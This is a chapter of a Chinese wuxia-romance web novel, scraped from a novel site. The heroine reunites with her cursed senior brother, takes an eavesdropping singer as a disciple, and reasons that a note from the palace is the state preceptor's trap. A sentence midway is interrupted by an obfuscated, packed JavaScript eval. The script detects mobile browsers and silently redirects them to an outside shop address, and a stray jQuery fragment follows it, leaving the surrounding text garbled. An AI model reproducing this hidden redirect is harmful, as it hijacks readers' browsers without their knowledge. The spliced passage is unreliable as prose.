文趣网 > 其他小说 > 悬刃之下:凤驭江湖 > 57.故布疑阵
    唐一禾终于还是没能压住心中的好奇,问出了心底的那个问题:“大师兄,你与公主,究竟是什么情况?还有这‘雪喉娘子’,又是怎么一回事?”

    面对三人陡然竖起的耳朵,唐司雅沉默半晌也没开口,就当唐一禾以为他不会回答的时候,却听一个低缓的声音响起,沉到压住了她的心跳。

    “公主刁蛮任性,非我所属,我只当她是个天真的异域商女。第一次情蛊种得不深,我始终无法将那种莫名炽热的情感,归结为对她的情意,于是以命相搏,冲破了蛊毒桎梏。”

    “慕容氲她慌了神,马上跑去找图果,又给我下了遗忘蛊,但我还是不认命,非要抗争到底,但终究没能再次冲破,以至蛊虫反噬,差点死去。”

    “人在濒死时看到的、记得的,太过光怪陆离,与现实可能有出入,这一段就不说了。”唐司雅叹了一口气,沉默了好一会,才继续道,“等我再次醒来时,头脑已是一片空白,躺在吐谷浑的内廷宫殿中。国师日夜不停地念了一个月的经,才勉强帮我稳住心神,但我发现所有的记忆,都变成了一段一段的,但又说不出哪里不对。”

    “之后就是慕容氲怀孕,顺理成章大婚,我也成为了吐谷浑的驸马,领了王庭禁卫军,每日有很多的事情要处理,日子就这么一天天过了下来。”

    说到这,唐司雅看了唐一禾一眼,脸色微微发窘:“我与公主相敬如宾,她说她有孕在身,无法与我行敦伦之事,按照王庭的规矩,她给我找了司帐,就是‘雪喉娘子’。”

    唐一禾咀嚼了“司帐”二字含义,一边惊叹于文字的博大精深,一边感叹于公主的博大胸怀,小心地接过话茬:“公主,她对你,倒是挺好的啊。”

    “慕容氲对我确实无可挑剔,把她所有认为最好的都给了我,不管是不是我想要的。”唐司雅脸色阴沉了下去,语气中裹着冰霜,“她只是把我变成了她想要的样子,间接害死了师傅,也让我辜负了另一片真心。”

    唐一禾没敢接话,也没敢问那个即将出世的孩子,因为司雅师兄已经把话说得再明白不过了——他不爱公主,甚至怨怼仇恨她。因为她的任性偏爱,让他失去了他原本的生活,失去了名字和记忆,成为了一具任人摆弄的傀儡。

    这对于一个非凡自负的人来说,无异于最大的耻辱。

    “‘雪喉娘子’怎么办?”唐烈风冷冷地掀开床帏纱幔,“她醒来很久了,听了半宿的好戏。”

    唐一禾快步走了过去,只见床榻上的楼一一僵直不动,完全是之前把她放上去的姿势,甚至连眼睛都没睁开。唐烈风知道师姐想说什么,抬手指着楼一一的脖颈:“她的呼吸声不对,在我们进来不久就醒了,该听的不该听的,她都已经知道了。”

    “你先把手放下来,你是打算把她灭口了吗?”唐一禾一边扯过唐烈风的胳膊,一边用眼角余光看到楼一一的身躯颤抖了一下。

    “她与此事无关,是我对她不住,占了人的清白又无法给人名分。”唐司雅脸色复杂,微微叹息道,“可否放她一条生路?我能保证让她开不了口。”

    听大师兄开了口,唐烈风非常配合地坐到了唐司雅的下手座,宇文璟则至始至终地站在窗旁,看着唐一禾立在床榻边,低头不语。

    “大师兄,我能问下,你是打算给她喂蛾翅青还是碧水天长?”唐一禾冷不丁开口。

    唐司雅愣了一下,他没想到小师妹又一次问到了他的所思所想。回想起在洛川相处的时日,那会儿她就古灵精怪的,没法把她当一般小孩看。现在经过大半年的历练,她已经能够独当一面,成为了能拿主意的那个人。

    “都行吧,也都会受点罪,最后我会给她解毒赎身,还她自由的。”唐司雅歉然地说,又补了一句,“银钱田产也不会少她的。”

    “这都是你觉得为她好的,那你有没有问过她的意见呢?”唐一禾神色严肃地说,“我很喜欢楼姑娘,我想问问她想怎么办?”

    唐司雅沉默了,他想到了刚才他说的话——己所不欲、勿施于人,既然公主给他的一切都不是他想要的,那他这样做与公主之流又有何异?

    唐烈风则心亏低头,他的第一反应是杀了这个歌姬,以免留下后患。在被唐一禾制止了之后,他才恍然回神,心跳如鼓,他这种下意识的念头,完全违背了师姐往日的教诲,可不要在师姐心里扎上刺啊。

    逃亡的日子过久了,唐烈风的神经一直很紧绷,连睡觉时都浑身紧张,生怕那些血色记忆浮现出来,将他缠绕吞噬。

    自从在集安大峡谷大开杀戒后,看到满地滚的头颅,纷飞如雨的红血,唐烈风终于找到了放松的感觉,心中憋的那团熊熊火焰也有所缓解,不至于将他炙烤成灰。

    但他不敢表现出来,更不敢跟任何人说,只是在后续的逃亡途中,每一次需要杀人的时候,都是重手,不留余地。他甚至渴望再次与石敢当一战,好将骨头缝里对血的渴望,全都宣泄到这个最强对手身上去。

    宇文璟却丝毫不意外唐一禾的反应,二人相处时日已是不短,她是个什么样的人,他自认有所了解。“雪喉娘子”与她相交,主动示好,唐一禾借此寻人,本来就欠了一份人情在,所以她是绝不会害“雪喉娘子”的性命,甚至连伤害都不会允许。

    这么看来,她的师弟、师兄都不如想象中那般了解她啊,尤其看她与司雅师兄的相处,没看出半点男女之情,宇文璟心中浮起一丝难以察觉的欣喜,难不成是他眼拙,又抑或是想多了?

    此时“雪喉娘子”楼一一已经被唐一禾唤醒坐起,一双美丽的大眼睛在四人的脸上滚过一遍,最后落在了唐一禾身上:“我的安危系于驸马身上,他若有事我肯定逃不开。我愿意加入你们,别的做不了,察言观色、通风报信还是能做的。”

    唐一禾点点头:“你要什么?”

    “还是女的痛快。”楼一一灿然一笑,“那我就打开天窗说亮话了,我早已攒够了体己钱,讨个自由身不成问题,驸马要给我安排的,我靠自己都能实现。”

    “但我这般容貌出去后,很难不遭人觊觎,如果没有自保的本事,那还不如在宫里待着,只需攀附一个贵人即可。”说到这,楼一一郑重其事站起,朝唐一禾拜身伏地,“我只有一个要求,就是拜你为师,等学成之后就能如你这般,四海天下都走得,不再困于这一方天地。”

    “啊?”轮到唐一禾瞠目结舌了,这,这也太猝不及防了。

    想不到楼一一绝世美人的皮囊下,跳动着一颗自由驰骋的心,实在大出唐一禾意外。巧合的是,她完全契合唐一禾打趣时对徒弟的要求——容貌不能差过师弟唐烈风,这个“雪喉娘子”的容貌,实在是拿放大镜从头到脚细细看,都挑不出半分毛病来。

    “可是我现在自身难保,还中了蛊毒,你也都听到了,你要拜我为师,怕也不是什么好选择。”唐一禾决定实话实说。

    楼一一轻笑起来,那笑声清而薄,像枯荷听雨:“你以为我有什么好选择吗?你是女子之身,却侠义担当,武功也师出名门。我都听到了,‘唐门令’中你们拿了第一,你还是队长,连他们两个都服你。”楼一一伸出芊芊玉指,指了指宇文璟和唐烈风,“这样的师傅是我烧高香也找不着的,比从护卫那学个一鳞半爪,还得周旋半天不要被占了便宜,强上一万倍。”

    见唐一禾还在踌躇,楼一一惨然一笑:“不肯收也罢,毒药拿来吧。”

    唐一禾心想倒也不必如此决绝,她略一踌躇,伸手将楼一一扶起:“收徒也行,但要当得我的入门大弟子,你还是要给我一份‘投名状’的。反正驸马还要在宫中待上一些时日,你给他打个掩护,也让我看看你的诚意和能力如何。”

    ……

    回到金城主私宅后的唐一禾,仍然有种恍如隔世的感觉。

    和大师兄的会面实在像是做了一场梦。现在梦醒了,一切似乎都没有变,大师兄坚持要留在王庭继续当驸马——“我若现在跟你们走,公主和国师必定全力追捕,反而坏事。不如我先留下,等追踪蛊解药到手,再找个由头脱身。”

    但一切似乎又有了很大的变化,唐一禾觉得找到了主心骨,只要有大师兄在,前面的路就没那么艰难了。

    至于楼一一,她有点头疼。她是很喜欢美女,尤其还是这么一个豁达坚韧的大美女,但真的要收她为徒弟,天天带在身边,呃,实在是,有点难以想象。

    “师姐,文璟喊我们过去,廖副将那边有消息了。”唐烈风推开内室的门,把补觉赖床的唐一禾唤起。

    唐一禾伸了个懒腰,不情不愿地说:“大师兄都找到了,寻人的消息已经不重要了啊。”

    “文璟特意交代过,消息很重要,让你赶紧过去。”唐烈风摊开双手,无奈地说。

    “好吧好吧,怎么感觉现在你们两个是一伙的,天天睡一起,睡出感情来了。”唐一禾嘀嘀咕咕地穿鞋,忽略唐烈风气到扭曲的脸。

    二人赶到正厅后,等待多时的廖副将不敢怠慢,无需宇文璟吩咐,恭敬地将手中字条呈上。唐一禾接过字条,只见上面歪歪扭扭地爬着两行蝌蚪文,一头雾水地问宇文璟:“写的是什么?你认得吗?”

    “是鲜卑文,认得一些。”宇文璟点点头

    “你还认识鲜卑文?突厥文你不会也懂吧?”唐一禾挑眉笑道,“你知道的太多了。”

    “略懂,技多不压身,队长不也如此吗?”宇文璟并不谦虚,笑着解释,“吐谷浑鲜卑语、汉语并用,原本王庭鲜卑语用得多一些,自国师姜姓一族掌权以来,反倒是汉话飞快流行起来,只不过汉字很多人还不会写。

    宇文璟已经探身过来,手指触着字条,一字一句给唐一禾解读,“此人为驸马姜瑜言,两日后将参加突厥处罗叶护接风宴,可届时与其接头碰面。”

    唐一禾眉头皱起,转过头去问廖副将:“你命人拿着小像寻人的时候,有没有提及是谁在找画像中人,又或是提到为什么要找这个人?”

    “回唐姑娘,没有。”廖副将肯定地说,“做这件事的都是熟手,不会多言多语。”

    “那这个字条是谁写的?”唐一禾追问。

    “是禁卫军中的一个副都头,曾经见过驸马几面。”廖副将抬头看了一眼宇文璟,略有些拘谨地说,“末将在王城耕耘不久,根基尚浅,没能搭上达官显贵。”

    唐一禾沉思了一会,对一旁的宇文璟说:“不太

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666461|203360||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    对,你觉着呢?”

    宇文璟没有回答,而是扭头对廖副将说:“派人盯紧传消息的禁卫军副都头,再拿银票砸他,看能不能多吐出一些来。”

    廖副将领命退下后,宇文璟才不疾不徐地开口:“把你叫过来,就是想听听你的意见。烈风,她是不是一开始还不肯来?”

    唐烈风抬眸轻哼,语气不快:“天天睡一起,你都变成她肚里的虫了。”

    这是什么话?宇文璟讶然。看来这俩刚才斗嘴置气了,宇文璟话风一转,赶紧充当和事佬:“我们仨迫于形势,天天绑在一起,自然越来越默契。烈风你是不是也觉得,这个字条有问题?”

    唐烈风瞥了师姐一眼:“你问她,你们两个都是莲蓬心,只有我是个秤砣。”

    唐一禾扑哧一笑,伸手揽过师弟肩膀:“莲蓬心眼再多,也得要秤砣压着,才能知道几斤几两不是?”

    见到唐烈风几乎瞬间上翘的嘴角,宇文璟都无语了——以后这和事佬不当也罢,一个最会哄人,一个最擅变脸。想到这,他便回了正题:“唐莲蓬,心眼摊开让我看看。”

    “好戏开场了呗,国师把我们当戏子,咱也得把他拉上台,一起唱才好啊。”唐一禾白了一眼宇文璟,“宇莲蓬,不对,宇文莲蓬,你少来这套,你就直说你打算如何应对吧。”

    “将计就计呗,不然国师他老人家多失落。”宇文璟淡淡地说。

    “你们都在说什么?”“唐秤砣”有点愤懑,他自认不如师姐七窍玲珑心但也不傻,现在听这两只“莲蓬”说话,真的是越听越傻。

    唐一禾笑着拽了拽师弟的发带:“跟你说过的,听不懂就冷眼旁观,没人知道你不懂,还以为你心思深沉。等回去琢磨一下,不就什么都明白了吗?”

    “我跟你们两个装什么?反正你们也知道我是秤砣。”唐烈风拍开唐一禾的手,语气愤愤。

    “你昨晚看到大师兄的时候,是第一眼就认出来了吗?”唐一禾不依不饶地揪过唐烈风的发辫,愣是把他拽坐到了椅凳上。

    唐烈风知道师姐这是要教他了,立马垂手侧耳,老老实实地回答:“大师兄变化太大,瘦多了也沧桑了许多,又蓄了须结了发,我是在他开口说话后,才能确定是他。”

    “你与大师兄相处近十年,尚且需要仔细辨别才能确认是他,一个才见过驸马几面的禁卫军副都头,如何能仅凭借一张似是而非的小像,就妄断贵人身份呢?”唐一禾眉毛挑起,冷声轻哼。

    “退一步讲,就算他火眼金睛认出了画像中人就是驸马,他难道不应该是去报告他的直属上级、上上级,以获取信任及日后的晋升机会吗?”唐一禾教师弟很是尽心尽力,“最不济也是首鼠两端,多方获利。他只需悄悄揣了银票,跟线人说一句可能是驸马就行,为何要写一张后患无穷的字条呢?”

    “所以他是受人指使,故意引我们去找驸马的。”唐烈风恍然大悟,“知道驸马身份又能指使得动禁卫军的人,自然就是国师了。”

    “没错,国师当日在西大寺,就已经想好如何引我们入瓮了。不然他完全可以用佛偈推脱,不必说什么‘昨日筏者、今朝渡河’。”唐一禾觉得师弟很是孺子可教,随手将他的发辫绕于指上,“我们之后所有的寻人举动,应该都在他的掌控之中,不然不会这么快就有消息传来了。”

    在唐一禾的谆谆善诱下,唐烈风也开始顺着思路往下捋:“国师引我们去突厥处罗叶护的接风宴,是不是就打的‘坐山观虎斗’算盘?晋地乃北境屏障,文璟更是突厥人的眼中钉,两方仇怨已久,他就是引我们去送死。”

    “对、也不对。”唐一禾摇摇头,抬手帮师弟把发辫归整好,“吐谷浑弱国寡民,主要靠着贸易通商和天堑地势,才能在突厥和汉地的夹缝中生存。如今突厥势大,汉地又纷争四起,如果任由突厥继续坐大,对吐谷浑的威胁可比陇晋大多了。我倒觉得国师是想趁机杀了处罗叶护,然后祸水东引,让突厥蛮子去找晋王的麻烦。”

    “一禾乃璇玑之才。”宇文璟不吝赞美地说,“你分明对吐谷浑内廷之争毫无所知,却仿佛看透了国师的算盘珠子。”

    “谬赞谬赞,吐谷浑内廷之争是什么?我还真不知道,不妨也说来听听。”唐一禾很谦虚,也免不得有一丝得意,毕竟宇文璟可不是轻易夸人的人。

    “吐谷浑王膝下只有一个嫡女,就是大公主慕容氲,乃皇后姜玉琳所出,皇后娘家正是国师的本家姜姓大族。”宇文璟的眼风扫过唐一禾的手和唐烈风的束发,顿了一下才往下说,“近些年来,吐谷浑王身体状况不佳,传闻已不能下床,所以国师这一支鼓吹天授王权、众生平等,要全力支持公主上位。大乘密宗是国教,信奉的人极多,又有宗教的造势,虽然要开辟女王的先例,但也不是不可能。”

    唐一禾坐回榻首:“那也不会太轻松,慕容氏能眼睁睁地看着皇权旁落?”

    “自然不会。”宇文璟笑笑,“吐谷浑王的长兄庆亲王慕容海一直从中作梗,勾结了不少守旧派反对,此番处罗叶护来访背后未尝没有他的手笔。我猜国师的算盘里,恐怕还有移山填海这一出。”

    “庆亲王手里有兵吗?”唐一禾警觉地问。